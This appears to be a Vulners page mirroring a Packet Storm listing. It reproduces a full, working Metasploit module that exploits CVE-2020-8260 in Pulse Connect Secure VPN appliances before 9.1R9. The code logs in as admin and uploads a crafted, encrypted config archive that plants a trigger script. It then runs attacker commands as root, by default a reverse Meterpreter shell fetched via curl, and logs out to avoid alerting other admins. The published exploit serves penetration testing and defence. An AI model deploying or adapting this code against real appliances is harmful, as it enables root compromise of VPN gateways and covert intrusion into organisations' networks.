Lucene search
K

Pulse Secure VPN Remote Code Execution

🗓️ 18 Dec 2020 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 561 Views

Pulse Secure VPN Remote Code Execution, uncontrolled gzip extraction, admin credentials required for root access, binaries in /home/bin

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Pulse Secure VPN gzip RCE',  
'Description' => %q{  
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability  
which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.  
Admin credentials are required for successful exploitation.  
Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.  
},  
'Author' => [  
'h00die', # msf module  
'Spencer McIntyre', # msf module  
'Richard Warren <[email protected]>', # original PoC, discovery  
'David Cash <[email protected]>', # original PoC, discovery  
],  
'References' => [  
['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],  
['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],  
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],  
['CVE', '2020-8260']  
],  
'DisclosureDate' => '2020-10-26',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix In-Memory',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }  
}  
]  
],  
'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },  
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],  
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The URI of the application', '/']),  
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),  
OptString.new('PASSWORD', [true, 'The password to login with', '123456'])  
])  
  
register_advanced_options([  
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),  
])  
end  
  
def check(exploiting: false)  
login  
res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200  
version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version  
version, build = version  
  
return CheckCode::Unknown unless version.include?('R')  
  
version, revision = version.split('R', 2)  
print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")  
return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9  
  
CheckCode::Detected  
rescue Msf::Exploit::Failed  
CheckCode::Unknown  
ensure  
logout unless exploiting  
end  
  
def exploit  
case (checkcode = check(exploiting: true))  
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears  
print_good(checkcode.message)  
when Exploit::CheckCode::Detected  
print_warning(checkcode.message)  
else  
fail_with(Module::Failure::Unknown, checkcode.message.to_s)  
end  
  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(  
linemax: 262144, # 256KiB  
delay: datastore['CMDSTAGER::DELAY']  
)  
end  
  
logout  
end  
  
def execute_command(command, _opts = {})  
trigger = Rex::Text.rand_text_alpha_upper(8)  
print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")  
  
config = build_malicious_config(command, trigger)  
res = upload_config(config)  
  
fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200  
  
print_status('Triggering RCE')  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),  
'headers' => { trigger => trigger }  
})  
end  
  
def res_get_xsauth(res)  
res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first  
end  
  
def upload_config(config)  
print_status('Requesting backup config page')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),  
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },  
'vars_get' => { 'type' => 'system' }  
})  
fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200  
xsauth = res_get_xsauth(res)  
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')  
post_data.add_part('Import', nil, nil, 'form-data; name="op"')  
post_data.add_part('system', nil, nil, 'form-data; name="type"')  
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')  
post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')  
post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')  
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')  
  
print_status('Uploading encrypted config backup')  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),  
'method' => 'POST',  
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
end  
  
def login  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'tz_offset' => '-300',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'realm' => 'Admin Users',  
'btnSubmit' => 'Sign In'  
},  
'keep_cookies' => true  
})  
  
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302  
location = res.headers['Location']  
fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')  
  
return unless location.include?('admin%2Dconfirm')  
  
# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.  
print_status('Other admin sessions detected, continuing')  
res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })  
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200  
fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last  
xsauth = res_get_xsauth(res)  
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'btnContinue' => 'Continue the session',  
'FormDataStr' => fds.first,  
'xsauth' => xsauth  
},  
'keep_cookies' => true  
})  
fail_with(Failure::UnexpectedReply, 'Login failed') unless res  
end  
  
def logout  
print_status('Logging out to prevent warnings to other admins')  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })  
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200  
  
logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first  
fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?  
  
res = send_request_cgi({ 'uri' => logout_uri })  
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302  
end  
  
def build_malicious_config(cmd, trigger)  
payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"  
perl = <<~PERL  
if (length $ENV{HTTP_#{trigger}}){  
chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";  
system("env /data/var/runtime/tmp/tt/#{payload_script}");  
}  
PERL  
tarfile = StringIO.new  
Gem::Package::TarWriter.new(tarfile) do |tar|  
tar.mkdir('tmp', 509)  
tar.mkdir('tmp/tt', 509)  
tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|  
tio.write perl  
end  
tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|  
tio.write "PATH=/home/bin:$PATH\n"  
tio.write "rm -- \"$0\"\n"  
tio.write cmd  
end  
end  
  
gzfile = StringIO.new  
gz = Zlib::GzipWriter.new(gzfile)  
gz.write(tarfile.string)  
gz.close  
  
encrypt_config(gzfile.string)  
end  
  
def encrypt_config(config_blob)  
cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt  
iv = cipher.iv = cipher.random_iv  
cipher.key = ENCRYPTION_KEY  
  
md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")  
  
ciphertext = cipher.update(config_blob)  
ciphertext << cipher.final  
md5 << ciphertext  
  
cipher.reset  
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation